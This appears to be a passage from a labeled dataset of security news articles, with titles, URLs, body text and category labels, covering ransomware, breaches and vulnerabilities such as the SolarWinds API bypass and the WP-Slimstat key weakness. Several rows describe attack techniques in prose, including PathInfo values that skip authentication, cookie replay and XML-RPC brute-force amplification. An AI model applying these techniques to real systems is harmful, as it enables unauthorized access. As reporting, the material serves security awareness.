Just think of a scenario where you enter in your house, and it's sweltering, but when you head on to check the temperature of your thermostat, you find out that it has been locked to 99 degrees.

And guess what?

Your room thermostat is demanding $300 in Bitcoins to regain its control.

Congratulations, Your Thermostat has been Hacked!

This is not just a hypothetical scenario; this is exactly what Ken Munro and Andrew Tierney of UK-based security firm Pen Test Partners have demonstrated at the DEFCON 24 security conference in Las Vegas last Saturday.

Two white hat hackers recently showed off the first proof-of-concept (PoC) ransomware that infects a smart thermostat.

Ransomware is an infamous piece of malware that has been known for locking up computer files and then demanding a ransom, usually in Bitcoins, in order to unlock them.

But, over time the threat has changed its way to the mobile world, infecting smartphones, and even smart TVs.

The hackers chose a US thermostat with a large LCD display that runs a modified version of Linux, and has an SD card slot to allow its users to load custom settings or wallpapers, which they said, ""makes it so easy to hack.""

The duo found that the thermostat did not really check the files running and executing on it, which allowed them to load malware into the thermostat, locking the screen and showing a classic ransom note.
""So we put in a huge executable by loading a 7MB Javascript file, but this is not plain Javascript so you can query the SQL database so it can execute Linux commands,"" Tierney told Infosecurity Magazine.
""It heats to 99 degrees, and asks for a PIN to unlock which changes every 30 seconds. We put an IRC botnet on it, and the executable dials into the channel and uses the MAC address as the identifier, and you need to pay one Bitcoin to unlock.""
Since every process inside the thermostat application runs with root privileges, a malicious hacker does not require any special privilege escalation vulnerabilities to compromise the device.

The researchers took advantage of a vulnerability in the particular thermostat's system, but they declined to publicly disclose it, since they have not got a chance to file a bug report with the thermostat manufacturer and get it fixed yet.

However, the two plan to report the bug today, on Monday. They also said the patch should be easy to deploy.

The downside, though, is that installing the ransomware, currently, requires the hackers to either have physical access to the thermostat or trick the victim into loading malicious files on the device on his own.

Since Internet of Things is currently being deployed in a large variety of uses throughout your home, businesses, hospitals, and even entire cities that are called Smart Cities, it gives attackers a large number of entry points to affect you some or the other way.

But, if deployed securely, it could do miracles… even save your life.

Tesla Autopilot Saved a Life

Just take a recent example of Tesla smart car.

Tesla Model X owner, 37-year-old attorney Joshua Neally, claimed the car's Autopilot feature (self-driving mode) got him to the hospital during a medical emergency.

However, the downside of such self-driven technology is that it can be hacked by crooks and we can not ignore them because we have seen a number of smart car hacking incidents in the past.

Previous research demonstrated hackers capabilities to hijack smart cars remotely and control its steering, brakes, and transmission, and even disable car's crucial functions like airbags by exploiting security flaws affecting significant automobiles.

The bottom line:

Being cyber savvy could let you enjoy the new world of connected devices while helping you stay safe online.

",Malware
Smartwatch Maker Garmin Shuts Down Services After Ransomware Attack,https://thehackernews.com/2020/07/garmin-ransomware-attack.html,"Garmin, the maker of fitness trackers, smartwatches and GPS-based wearable devices, is currently dealing with a massive worldwide service interruption after getting hit by a targeted ransomware attack, an employee of the company told The Hacker News on condition of anonymity.

The company's website and the Twitter account say, ""We are currently experiencing an outage that affects Garmin.com and Garmin Connect.""

""This outage also affects our call centers, and we are currently unable to receive any calls, emails or online chats. We are working to resolve this issue as quickly as possible and apologize for this inconvenience.""

As a result, the company yesterday was forced to temporarily shut down some of its connected services, including Garmin Express, Garmin Connect mobile, and the website—restricting millions of its users from accessing the cloud services or even syncing their watches locally to the app.

Though not much information is available on technicalities of the cyber attack, some local media reports claim hackers have managed to compromise the company's application and database servers with ransomware.

It also says Garmin has sent announcements to its IT staff in Taiwan-based factories announcing the next two days of planned maintenance, i.e., July 24 and 25.

Multiple sources in the cybersecurity community suggest that the cyberattack may have involved WastedLocker, one of the targeted ransomware gang, known as the Evil Corp or Dridex.


The modus operandi of the attackers behind WastedLocker involves compromising corporate networks, performing privilege escalation, and then using lateral movement to install ransomware on valuable systems before demanding millions of dollars in ransom payment.

According to experts at SentinelOne, WastedLocker is a relatively new ransomware family active for the last few months and has since been attacking high-value targets across numerous industries.

WastedLocker uses JavaScript-based SocGholish toolset to deliver payload by masquerading as system or software updates, exploits UAC bypass techniques to elevate privileges, and leverages Cobalt Strike for lateral movements.

""All the security technology in the world is not going to protect against determined attackers. 97% of losses stem from socially-engineered attacks and over 90% are initiated by email,"" Lucy Security CEO Colin Bastable shared a comment with The Hacker News.

""There are no front lines in cyberwarfare – we are all fair game for bad actors, and no entity or person is safe from cyber-attack. Train your people to detect and resist ransomware attacks – just as you patch systems, patch your people with regular, varied, continuous and well-planned security awareness training to make them part of your defenses,"" Bastable added.

Gurucul CEO Saryu Nayyar also suggested the same:

""You just don't know when the bad guys are going to attack and who will be their next victim. However, what we do know is every organization is susceptible to ransomware attacks.""

""So, do what you can to prepare and respond. Hopefully, Garmin has a daily backup regimen for the company's systems and data. That's table stakes. If you get hit, at least you can recover your data.""

Garmin has not yet officially confirmed whether the incident is a ransomware attack or not, but we have contacted the company and will update the story as soon as we receive more information on this incident.
",Cyber_Attack
Hacktivist Group Anonymous (#OpISIS) Takes Down Islamic State (ISIS) Social Media Accounts,https://thehackernews.com/2015/02/anonymous-isis-cyber-attack.html,"The hacktivist group Anonymous has launched a massive cyber attack against the Islamic State of Iraq and Syria (ISIS) — the radical Islamic terrorist group who were responsible for the terrorist attack against the Paris offices of satirical magazine Charlie Hebdo.

With huge social media presence, ISIS is the most active terror group on Facebook, Twitter, YouTube and Instagram accounts. But unluckily, over dozens of Facebook and Twitter accounts linked to ISIS has recently been taken by the Anonymous group.

In a video appeared on Youtube, Anonymous group and RedCult announced the operation #OpISIS and claimed to have carried out cyber attack against hundreds of Twitter and Facebook accounts used by ISIS for its own propaganda and to recruit new members.

According to the video, Operation #OpISIS is coordinated by ""Muslims, Christians, Jews"" alike and a masked individual discusses the aim of the campaign.
They are ""hackers, crackers, Hacktivist, phishers, agents, spies, or just the guy next door… students, administrators, workers, clerks, unemployed, rich, poor."" They are also ""young, or old, gay or straight… from all races, countries, religions, and ethnicity. United as one, divided by zero,"" video explains.
A list of more than hundred Twitter and Facebook accounts suspected to belong to Islamic militants has been released by Anonymous. Twitter has already suspended more than 1500 ISIS accounts since the group released the first list in June, 2014 and dozens of militant recruiting websites were knocked offline using collective DDoS Attack.

Thousands of Twitter accounts associated with terrorist group Islamic State (ISIS) are still active and spreading jihadist propaganda despite a campaign by the hacktivist collective Anonymous to take them down.

According to Anonymous, it's just the beginning of their operation and warned ISIS that there will be ""more to come.""
We will hunt you, take down your sites, accounts, emails, and expose you…
From now on, no safe place for you online…
You will be treated like a virus, and we are the cure…
We own the internet…
We are Anonymous; we are Legion; we do not forgive, we do not forget, Expect us.
However, ISIS supporters are circulating a new social media guide with instructions for acquiring accounts undetected.

In June, Hacktivist collective Anonymous launched a campaign to take down social media accounts and websites associated with ISIS terrorists as a response to the recent Charlie Hebdo attacks under operation #OpCharlieHebdo.

Anonymous hackers also threatened to target Saudi Arabia and related nations for funding and supporting ISIS group. In a previous note they explained, ""We are unable to target ISIS because they predominantly fight on the ground. But we can go after the people or states who fund them.""

",Cyber_Attack
WordPress Analytics Plugin Leaves 1.3 Million Sites Vulnerable to Hackers,https://thehackernews.com/2015/02/wordpress-slimstat-plugin.html,"A critical vulnerability has been discovered in one of the most popular plugins of the the WordPress content management platform that puts more than one Million websites at risks of being completely hijacked by the attackers.

The vulnerability actually resides in most versions of a WordPress plugin called Wettable Powder Slimstat (WP-Slimstat). While there are more than 70 million websites on the Internet currently running WordPress, more than 1.3 Million of them use the 'WP-Slimstat' Plugin, making it one of the popular plugins of WordPress for powerful real-time web analytic.

All the WP-Slimstat versions prior to the latest release of Slimstat 3.9.6 contain an easily guessable 'secret' key which is used to sign data sent to and from the visiting end-user computers, explained in a blog post published Tuesday by Web security firm Sucuri.

Once the weak 'secret' key is break, an attacker could perform an SQL injection attack against the target website in order to grab highly sensitive information from victim's database, including encrypted passwords and the encryption keys used to remotely administer websites.
""If your website uses a vulnerable version of the plugin, you're at risk,"" Marc-Alexandre Montpas, a senior vulnerability researcher at Sucuri, wrote.
""Successful exploitation of this bug could lead to Blind SQL Injection attacks, which means an attacker could grab sensitive information from your database, including username, (hashed) passwords and, in certain configurations, WordPress Secret Keys (which could result in a total site takeover).""
The WP-Slimstat 'secret' key is just an MD5 hash version of the plugin's installation timestamp. With the use of sites like Internet Archive, a hacker could easily identify the year a target vulnerable website was put on the Internet.

This would left an attacker with about 30 Million values to test, that could be completed in about 10 minutes with most modern CPUs. Once the secret key has been detected, the attacker can use the key to tug sensitive data out of the database.

Users who run their websites on the WordPress content management system and have this popular WP-Slimstat plugin installed are being cautioned to upgrade their websites immediately in order to protect your website from this dangerous vulnerability.

",Vulnerability
Listen to your instincts when it comes to the Web,https://thehackernews.com/2012/02/listen-to-your-instincts-when-it-comes.html,"Listen to your instincts when it comes to the web

Lee Ives from Security-FAQs talk about Internet Security in January Edition of The Hacker News Magazine.

When you are on the web the best thing that you can do is to go with your instincts. In real life, when we walk around, we usually go with our gut to make sure that we stay out of danger. If something does not seem right we usually ""sense"" it for lack of a better term. This is not something that is new. This is how we survived in the wilderness all of those many years ago. We made sure that we stayed safe by following our instincts and doing the right thing. All of these years later and that same advice still holds up to be true.

But like we said in the previous paragraph, you have to worry about following your instincts when you are on the web as well. There are many different kinds of pitfalls that you can encounter when you are on the web. It doesn't matter whether it is meeting the wrong type of person or it is downloading the wrong type of file. The dangers that you face on the web can go beyond virtual and can easily become something that you deal with in real life.

What your instincts can help you avoid
There are several different types of malware that float around the internet on a daily basis. They just sit out there waiting for either you to discover them or for you to make a mistake and get caught downloading them. But do not make the mistake and think that all of the malwares out there are the same. No, they are all different. The ones that you can really avoid with the help of your gut are the ones that are delivered through social manipulation.

People think that hackers are people who do not like to interact with others. That is only a stereotype and is not true at all. Most of the attacks that you see on the web are initiated by social interaction. While yes, most of the social interaction of these attacks is through the web it does not always stay that way. Some of these attacks are schemes to try and get you to give up money or information. This means that they will try and actually talk to you through the use of web cams or through the use of talk software such as Skype. If you are in the same area they will actually try to meet with you. This is called social hacking and it is something that is practiced all of the time. As a matter of fact, one of the most well known hackers of all time, Kevin Mitnick, biggest strength was his ability to social hack.

But social hacks are not the only ones that you can avoid through the use of your gut. You can also avoid tech based hacks as well. You can do this by listening to your inner self when it comes to what links to click on and what files to download. If you are unsure about a click, then most of the time you should not do it. This is especially true if you are on a web site that you have never visited before. But even well known web sites can give you this feeling as well. If you are on a site like Facebook and the link that you see seems weird then do not click it. Listen to your gut and avoid all of the problems that not listening can bring.

You do not have to be a computer genius to do a little computer security. Most of the problems that you run across can be avoided entirely by just doing a simple little thing like following your instincts.

About the Author:
Lee Ives is an internet security blogger from London, England. He started his web site a couple of years ago as a means of communicating security topics to the average internet user in a way that they would understand.
Contrary to some people's expectations he works in retail and not the security industry which goes to show how just about anyone can accumulate a great deal of knowledge about how to protect themselves online if they are prepared to look for the answers. For those who are too busy to look, many answers can be found on his site at : https://www.security-faqs.com

",Malware
Wawa Breach: Hackers Put 30 Million Stolen Payment Card Details for Sale,https://thehackernews.com/2020/01/wawa-credit-card-breach.html,"Remember the recent payment card breach at Wawa convenience stores?

If you're among those millions of customers who shopped at any of 850 Wawa stores last year but haven't yet hotlisted your cards, it's high time to take immediate action.

That's because hackers have finally put up payment card details of more than 30 million Wawa breach victims on sale at Joker's Stash, one of the largest dark web marketplaces where cybercriminals buy and sell stolen payment card data.

As The Hacker News reported last month, on 10th December Wawa learned that its point-of-sale servers had malware installed since March 2019, which stole payment details of its customers from potentially all Wawa locations.

At that time, the company said it's not aware of how many customers may have been affected in the nine-month-long breach or of any unauthorized use of payment card information as a result of the incident.

Now it turns out that the Wawa breach marked itself in the list of largest credit card breaches ever happened in the history of the United States, potentially exposing 30 million sets of payment records.


According to threat intelligence firm Gemini Advisory, on 27th January 2020, hackers started uploading stolen payment card data from Wawa at Joker's Stash marketplace, titled as 'BIGBADABOOM-III,' which reportedly includes card numbers, expiration dates, and cardholder names.

""While the majority of those records were from US banks and were linked to US-based cardholders, some records also linked to cardholders from Latin America, Europe, and several Asian countries,"" Gemini Advisory said.

""Non-US-based cardholders likely fell victim to this breach when traveling to the United States and transacting with Wawa gas stations during the period of exposure.""

""The median price of US-issued records from this breach is currently $17, with some of the international records priced as high as $210 per card.""

In the latest statement released yesterday, Wawa confirmed that the company is aware of reports of criminal attempts to sell customers' payment card data and to help further protect its customers, the company has 'alerted payment card processors, payment card brands and card issuers to heighten fraud monitoring activities.'

""We continue to encourage our customers to remain vigilant in reviewing charges on their payment card statements and to promptly report any unauthorized use to the bank or financial institution that issued their payment card by calling the number on the back of the card,"" Wawa said.

Customers who bought anything from any of the Wawa convenience stores between March and December last year are advised to block the affected cards and request a new one from your respective financial institution.

",Data_Breaches
Vulnerability in HTC website allow attacker to hijack accounts,https://thehackernews.com/2012/12/vulnerability-in-htc-website-allow_28.html,"Thamatam Deepak (Mr.47™) reported a Cross site scripting (XSS) Vulnerability and cookie handling in HTC website, that allow an attacker to HTC website hijack accounts. Mr. Deepak is a 16 years old whitehat hacker, listed in Apple Hall of Fame with 'The Hacker News' researcher Mohit Kumar this month.

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. The malicious script can access any cookies, session tokens, or other sensitive information retained by your browser. This vulnerability may be used by attackers to bypass access controls such as the same origin policy.

Cross site scripting is very common web application vulnerability, Yesterday our security researcher, Christy Philip Mathew reported about multiple xss in official latest versions of cPanel and WHM.

As reported by Whitehat hacker Deepak, there are multiple xss in HTC website, that allow an attacker to inject malicious scripts. Moreover, another vulnerability - Cookies Handling make it more easy for an attack to hijack accounts of HTC users.

Some sample vulnerable links are as show below:
Link 1
Link 2
Link 3
At time of reporting, these flaws are fixed by vendor after reported by hacker and was working on Google Chrome perfectly. More interesting fact is that , one XSS is also available on HTC PRODUCT SECURITY page, where HTC said ""At HTC, we recognize how important it is to protect your privacy and security. We understand that secure products are essential in maintaining the trust you place in us to provide products and services to you.""

For proof of concept, we created an account on HTC website, Import the cookies in a text file and logout from website. On other system, I just import the cookies from same text file. Then, I open the HTC website and found that I am again logged-in without password authentication. i.e One can reuse the same cookies again and again for authentication until its expiry date and Cross site scripting vulnerability allow attack to steal cookies remotely by use of some social engineering tricks.

Similar cookie handling vulnerability was reported by 'The Hacker News' Security researchers Christy Philip Mathew and Mohit Kumar last month in Hotmail and Outlook with proof of concepts.

",Vulnerability
Researchers Unmask Hackers Behind APOMacroSploit Malware Builder,https://thehackernews.com/2021/02/researchers-unmask-hackers-behind.html,"Cybersecurity researchers have disclosed a new kind of Office malware distributed as part of a malicious email campaign that targeted more than 80 customers worldwide in an attempt to control victim machines and steal information remotely.
The tool — dubbed ""APOMacroSploit"" — is a macro exploit generator that allows the user to create an Excel document capable of bypassing antivirus software, Windows Antimalware Scan Interface (AMSI), and even Gmail and other email-based phishing detection.
APOMacroSploit is believed to be the work of two French-based threat actors ""Apocaliptique"" and ""Nitrix,"" who are estimated to have made at least $5000 in less than two months selling the product on HackForums.net.
About 40 hackers in total are said to be behind the operation, utilizing 100 different email senders in a slew of attacks targeting users in more than 30 different countries. The attacks were spotted for the first time at the end of November 2020, according to cybersecurity firm Check Point.
""The malware infection begins when the dynamic content of the attached XLS document is enabled, and an XLM macro automatically starts downloading a Windows system command script,"" the firm said in a Tuesday report.
This system command script is retrieved from cutt.ly, which directs to servers hosting multiple BAT scripts that have the nickname of the customers attached to the filenames. The scripts are also responsible for executing the malware (""fola.exe"") on Windows systems, but not before adding the malware location in the exclusion path of Windows Defender and disabling Windows cleanup.
In one of the attacks, the malware — a Delphi Crypter followed by a second-stage remote access Trojan called BitRAT — was found hosted on a Bulgarian website catering to medical equipment and supplies, implying that the attackers breached the website to store the malicious executable.
The idea of using ""crypters"" or ""packers"" has become increasingly popular among threat actors to not only compress but also to make malware samples more evasive and reverse engineer.
BitRAT, which was formally documented last August, comes with features to mine cryptocurrencies, hack webcams, log keystrokes, download and upload arbitrary files, and remotely control the system via a command-and-control server, which in this case resolved to a sub-domain of a legitimate Bulgarian website for video surveillance systems.
Further investigation by Check Point involved chasing the digital trail left by the two operators — including two League of Legends player profiles — ultimately leading the researchers to unmask the real identity of Nitrix, who revealed his actual name on Twitter when he posted a picture of a ticket he bought for a concert in December 2014.
While Nitrix is a software developer from Noisy-Le-Grand with four years of experience as a software developer, Apocaliptique's use of alternative names such as ""apo93"" or ""apocaliptique93"" has stirred up possibilities that the individual may also be a French resident, as ""93"" is the colloquial name for the French department of Seine-Saint-Denis.
Check Point Research said it has alerted law enforcement authorities about the identities of the attackers.

",Cyber_Attack
Critical PHPMailer Flaw leaves Millions of Websites Vulnerable to Remote Exploit,https://thehackernews.com/2016/12/phpmailer-security.html,"A critical vulnerability has been discovered in PHPMailer, which is one of the most popular open source PHP libraries to send emails used by more than 9 Million users worldwide.

Millions of PHP websites and popular open source web applications, including WordPress, Drupal, 1CRM, SugarCRM, Yii, and Joomla comes with PHPMailer library for sending emails using a variety of methods, including SMTP to their users.

Discovered by Polish security researcher Dawid Golunski of Legal Hackers, the critical vulnerability (CVE-2016-10033) allows an attacker to remotely execute arbitrary code in the context of the web server and compromise the target web application.
""To exploit the vulnerability an attacker could target common website components such as contact/feedback forms, registration forms, password email resets and others that send out emails with the help of a vulnerable version of the PHPMailer class,"" Golunski writes in the advisory published today.
Golunski responsibly reported the vulnerability to the developers, who have patched the vulnerability in their new release, PHPMailer 5.2.18.

All versions of PHPMailer before the critical release of PHPMailer 5.2.18 are affected, so web administrators and developers are strongly recommended to update to the patched release.

Since The Hacker News is making the first public disclosure of the vulnerability in the news following Golunski advisory and millions of websites remain unpatched, the researcher has put on hold more technical details about the flaw.

However, Golunski has promised to release more technical details about the vulnerability in coming days, including a proof-of-concept exploit code and video demonstration that will show the attack in action.

We will update this article with additional information on the PHPMailer vulnerability, exploit code and video demonstration, once the researcher makes it public.

Update: Exploit Code for PHPMailer RCE Released
Golunski has released Proof-of-Concept (PoC) exploit code for PHPMailer remote code execution vulnerability.
""A successful exploitation could let remote attackers gain access to the target server in the context of the web server account which could lead to a full compromise of the web application,"" Golunski said.
You can find exploit code here.

",Vulnerability
A New SolarWinds Flaw Likely Had Let Hackers Install SUPERNOVA Malware,https://thehackernews.com/2020/12/a-new-solarwinds-flaw-likely-had-let.html,"An authentication bypass vulnerability in the SolarWinds Orion software may have been leveraged by adversaries as a zero-day to deploy the SUPERNOVA malware in target environments.
According to an advisory published yesterday by the CERT Coordination Center, the SolarWinds Orion API that's used to interface with all other Orion system monitoring and management products suffers from a security flaw (CVE-2020-10148) that could allow a remote attacker to execute unauthenticated API commands, thus resulting in a compromise of the SolarWinds instance.
""The authentication of the API can be bypassed by including specific parameters in the Request.PathInfo portion of a URI request to the API, which could allow an attacker to execute unauthenticated API commands,"" the advisory states.
""In particular, if an attacker appends a PathInfo parameter of 'WebResource.adx,' 'ScriptResource.adx,' 'i18n.ashx,' or 'Skipi18n' to a request to a SolarWinds Orion server, SolarWinds may set the SkipAuthorization flag, which may allow the API request to be processed without requiring authentication.""
It's worth noting that SolarWinds' updated security advisory on December 24 made note of an unspecified vulnerability in the Orion Platform that could be exploited to deploy rogue software such as SUPERNOVA. But exact details of the flaw remained unclear until now.
In the past week, Microsoft disclosed that a second threat actor might have been abusing SolarWinds' Orion software to drop an additional piece of malware called SUPERNOVA on target systems.
It was also corroborated by cybersecurity firms Palo Alto Networks' Unit 42 threat intelligence team and GuidePoint Security, both of whom described it as a .NET web shell implemented by modifying an ""app_web_logoimagehandler.ashx.b6031896.dll"" module of the SolarWinds Orion application.
While the legitimate purpose of the DLL is to return the logo image configured by a user to other components of the Orion web application via an HTTP API, the malicious additions allow it to receive remote commands from an attacker-controlled server and execute them in-memory in the context of the server user.
""SUPERNOVA is novel and potent due to its in-memory execution, sophistication in its parameters and execution and flexibility by implementing a full programmatic API to the .NET runtime,"" Unit 42 researchers noted.
The SUPERNOVA web shell is said to be dropped by an unidentified third-party different from the SUNBURST actors (tracked as ""UNC2452"") due to the aforementioned DLL not being digitally signed, unlike the SUNBURST DLL.
The development comes as government agencies and cybersecurity experts are working to understand the full consequences of the hack and piece together the global intrusion campaign that has potentially ensnared 18,000 of SolarWinds' customers.
FireEye, which was the first company to uncover the SUNBURST implant, said in an analysis that the actors behind the espionage operation routinely removed their tools, including the backdoors, once legitimate remote access was achieved — implying a high degree of technical sophistication and attention to operational security.
Evidence unearthed by ReversingLabs and Microsoft had revealed that key building blocks for the SolarWinds hack were put in place as early as October 2019 when the attackers laced a routine software update with innocuous modifications to blend in with the original code and later made malicious changes that allowed them to launch further attacks against its customers and to steal data.
To address the authentication bypass vulnerability, it's recommended that users update to the relevant versions of the SolarWinds Orion Platform:
2019.4 HF 6 (released December 14, 2020)
2020.2.1 HF 2 (released December 15, 2020)
2019.2 SUPERNOVA Patch (released December 23, 2020)
2018.4 SUPERNOVA Patch (released December 23, 2020)
2018.2 SUPERNOVA Patch (released December 23, 2020)
For customers who have already upgraded to the 2020.2.1 HF 2 or 2019.4 HF 6 versions, it's worth noting that both the SUNBURST and SUPERNOVA vulnerabilities have been addressed, and no further action is required.

",Cyber_Attack
How Hacking Team and FBI planned to Unmask A Tor User,https://thehackernews.com/2015/07/fbi-hacking-team-tor-network.html,"The huge cache of internal files recently leaked from the controversial Italian surveillance software company Hacking Team has now revealed that the Federal Bureau of Investigation (FBI) purchased surveillance software from the company.

The leaked documents contains more than 1 Million internal emails, including emails from FBI agent who wanted to unmask the identity of a user of Tor, the encrypted anonymizing network widely used by activists to keep their identities safe, but also used to host criminal activities.

Unmasking Tor User

In September last year, an FBI agent asked Hacking Team if the latest version of its Remote Control System (RCS), also known as Galileo - for which the company is famous for, would be capable to reveal the True IP address of a Tor user.

The FBI agent only had the proxy IP address of the target, as according to FBI, the target may be using Tor Browser Bundle (TBB) or some other variant. So, the agent wanted to infect the target's computer by making him download a malicious file.
""We'll need to send him an email with a document or PDF [attachment] to hopefully install the scout [Hacking Team's software],"" the FBI agent wrote in the email.
In response to the FBI agent query, A Hacking Team staff member said that once the target's computer is infected, ""if he is using TBB you will get the real IP address of the target. Otherwise, once the scout is installed…you can inspect from the device evidence the list of installed programs.""

FBI Spent $775,000 on Hacking Team's Spying Tools

So far, it isn't known whether the agents were succeeded in revealing the IP address of the target Tor user or who the target was, but internal emails clearly indicates that this FBI agent took full advantage of Hacking Team's service to unmask Tor users.
""[The FBI] continue to be interested in new features all the more related to TOR, [virtual private networks] VPN and less click infections,"" the same FBI agent said in other emails. ""In the past their targets were 20 per cent on TOR, now they are 60 per cent on TOR.""
Overall, the FBI has spent nearly $775,000 on Hacking Team's spy tools since 2011, Wired reports, although the internal emails indicate that the Remote Control System (RCS) tools were used as a ""back up"" for some other system the agency is already using.

Remote Control System (RCS), or Galileo, is the advanced and sophisticated spyware tool for which the Hacking Team is famous. It came loaded with lots of zero-day exploits and have the ability to monitor the computers of its targets remotely.

",Malware
Key infrastructure systems of 3 US cities Under Attack By Hackers,https://thehackernews.com/2011/12/key-infrastructure-systems-of-3-us.html,"Key infrastructure systems of 3 US cities Under Attack By Hackers

BBC News Reported that the Federal Bureau of Investigation (FBI) announced recently that key infrastructure systems of three US cities had been accessed by hackers. Such systems commonly known as Supervisory Control and Data Acquisition (SCADA) are increasingly being targeted by hackers.

At a recent cybersecurity conference, Michael Welch, deputy assistant director of the FBI's cyber division, said ""hackers had accessed crucial water and power services.The hackers could theoretically have dumped sewage into a lake or shut off the power to a shopping mall.""

""We just had a circumstance where we had three cities, one of them a major city within the US, where you had several hackers that had made their way into SCADA systems within the city,"" Welch told delegates at the Flemings Cyber Security conference.""Essentially it was an ego trip for the hacker because he had control of that city's system and he could dump raw sewage into the lake, he could shut down the power plant at the mall a wide array of things,"" he added.

In the city of South Houston, Texas, a hacker named pr0f claimed to have broken into a control system that supplied water to the town. Pr0f claimed the system had only been protected by a three-character password which ""required almost no skill"" to get around.

Security experts predict there will be a rise in such attacks.""Such systems have become a target partly because of all the chatter about the lack of security. Hackers are doing it out of curiosity to see how poorly they are protected,"" said by senior security consultant at Sophos.

However the firms that run SCADA systems, such as Siemens, often advise against changing passwords because the threat from malware is not a big a problem as if passwords are changed.
[Source]

",Malware
Android Bitcoin-Mining Malware found on Google Play Store,https://thehackernews.com/2014/04/android-bitcoin-mining-malware-found-on.html,"Google always bound to face trouble over the wide and open nature of its app checking policies on Google Play Store, and despite so many security measures, the search engine giant mostly fails to recognize the Android malware that are lurking around its Google Play store in vast numbers.

Recently, Google had offered users refund and additional credit of $5 for the bogus antivirus app 'Virus Sheild' that potentially defrauded more than 10,000 Android users who have downloaded the app from the Google play store. The step taken by Google is really appreciated, as the refunding cost Google around $269,000.

Now, it has been found that a number of malicious Android apps on the Google Play store secretly turn users' android devices into small rigs contributing to a large-scale crypto currency mining operation.

CRYPTO MINER IN ANDROID APP
Security researchers from an anti-malware firm Lookout have identified various malware apps at Google Play Store, which they dubbed as 'BadLepricon' containing hidden crypto miner that stealthily exploit users' android device to perform the cumbersome computational process without their knowledge.

BadLepricon malware was specially designed to be delivered via wallpaper apps and researchers found it in five separate apps masquerading as 'Live Wallpaper Apps' that had more than 100 of downloads each, according to a blog post published Thursday.

""These apps did fulfill their advertised purpose in that they provided live wallpaper apps, which vary in theme from anime girls to 'epic smoke' to attractive men,"" Meghan Kelly, a Lookout security communications manager, wrote in a company blog post. ""However, without alerting you in the terms of service, BadLepricon enters into an infinite loop where -- every five seconds -- it checks the battery level, connectivity, and whether the phone's display was on.""
DETECTING MOBILE MALWARE
So, if you found your mobile devices overheated harder than usual, then you may have malicious wallpaper installed in your Smartphones that could be secretly mining cryptocurrency without your knowledge, and once your device connects to the internet, the mining capabilities kick into action in the background.

Due to an increase in the value of digital coins, cyber criminals has added it in their watchlist and making every effort to steal your virtual money. As we know, coin mining is the key component for digital currencies and such malware does not steal data. Instead, they are capable of mining Bitcoin, Litecoin and Dogecoin using the victim's device.

Google expeditiously removed the malicious apps as soon as Lookout Mobile security firm reported it. This is not first time when an Android malware is targeting users' Smartphones for mining crypto-currencies. Few weeks back researchers from the Antivirus firm Trend micro also spotted two such apps named - 'Songs' and 'Prized' on Google play store that mined the Litecoin and Dogecoin cryptocurrencies without users' knowledge, and was downloaded by more than one million users.

",Malware
Hijacking Servers Remotely with Hikit advanced persistent threat,https://thehackernews.com/2012/08/hijacking-servers-remotely-with-hikit.html,"Security researchers have revealed the existence of an advanced persistent threat that has been making the rounds since April 2011. Backdoor.Hikit is a dangerous backdoor Trojan that will damage infected system and files. Usually, Backdoor. Hikit will open backdoor to allow remote attackers to connect to the infected system and carry out harmful activities, such as stealing information or destroying files and programs.

It is really stubborn those antiviruses often fail to delete it for good, for it runs secretly and automatically when Windows boots without your knowledge or consent and can disguise it as fake system files or processes. Besides, many other threats, such as adware, redirecting virus, Trojan variants from family, such as Trojan Horse Generic 27.PN, BackDoor.Hupigon5.CJMY, Trojan.Zeroaccess.C, Trojan:win64/Sirefef.E and so on, which is really a threat to system and data security.

According to experts from security firm Symantec, it all starts with the unknown dropper which installs a DLL backdoor onto the compromised device. This backdoor then installs the driver component that allows the attacker to communicate with the infected computer.

Unlike many other pieces of malware, Hikit doesn't attempt to contact its command and control server once it infects a device. Instead, the kernel is designed to wait for the attacker to initiate communications, significantly reducing the threat's operational capabilities.
Backdoor.Hikit is compromised of four components:
Unknown dropper that compromises a system and installs a malicious dynamic-link library (DLL) file
DLL that implements back door functionality and installs a kernel driver
Kernel driver that monitors network traffic for connections from an attacker
Client tool that attackers use to connect to the back door
It is greatly possible that your online saved accounts and passwords, personal and financial information will be exposed and transfer to remote hackers, which will lead to identified thief. To secure your computer and keep it away from any threats, you must get rid of Backdoor.Hikit without any hesitation.

Symantec is continuing to investigate this threat and will provide more information when available.

",Vulnerability
WordPress Security: Brute Force Amplification Attack Targeting Thousand of Blogs,https://thehackernews.com/2015/10/WordPress-BruteForce-Amplification.html,"Most of the times, we have reported about WordPress vulnerabilities involving vulnerable plugins, but this time security researchers have discovered Brute Force Amplification attacks on the most popular CMS (content management system) platform.

Researchers from security firm Sucuri have found a way to perform Brute Force amplification attacks against WordPress' built-in XML-RPC feature to crack down administrator credentials.

XML-RPC is one of the simplest protocols for securely exchanging data between computers across the Internet. It uses the system.multicall method that allows an application to execute multiple commands within one HTTP request.

A number of CMS including WordPress and Drupal support XML-RPC.

But…

The same method has been abused to amplify their Brute Force attacks many times over by attempting hundreds of passwords within just one HTTP request, without been detected.

Amplified Brute-Force Attacks

This means instead of trying thousands of usernames and password combinations via login page (which can be easily blocked by banning IPs), hackers can use the XML-RPC protocol in conjunction with the system.multicall method that allows them to:
Go undetected by normal brute-force mitigation products
Try hundreds of thousands of username and password combinations with few XML-RPC requests.
""With only 3 or 4 HTTP requests, the attackers could try thousands of passwords, bypassing security tools that are designed to look and block brute force attempts,"" Sucuri's researchers wrote in a blog post.
The company witnessed the first attack of this kind at the beginning of last month, which then sky-rocketed to around 60,000 per day by the start of this month.

How to Prevent Brute-Force Amplification Attack via XML-RPC

To protect yourself against such threat, simply block all access to XML-RPC.

If you are not using any plugin that uses the xmlrpc.php file, just head on to rename/delete it. But, if you are using plugins such as JetPack, blocking xmlrpc.php may result in some broken functionality on your website.

So, webmasters could block XML-RPC system.multicall requests using a WAF (web application firewall). This will protect you against the amplification methods.

",Vulnerability
More Android vulnerabilities exposed [Video Demonstration],https://thehackernews.com/2011/09/more-android-vulnerabilities-exposed.html,"More Android vulnerabilities exposed [Video Demonstration]

It's been more than a month since researchers reported two serious security vulnerabilities in Android, but so far there's no indication when they will be purged from the Google-spawned operating system that's the world's most popular smartphone platform.

Oberheide and Lanier are set to teach a two-day mobile security training course at SOURCE Barcelona this November where they will presumably refer to this and other Android vulnerabilities. Let's hope, for the sake of Android's reputation, that these things are resolved much sooner.

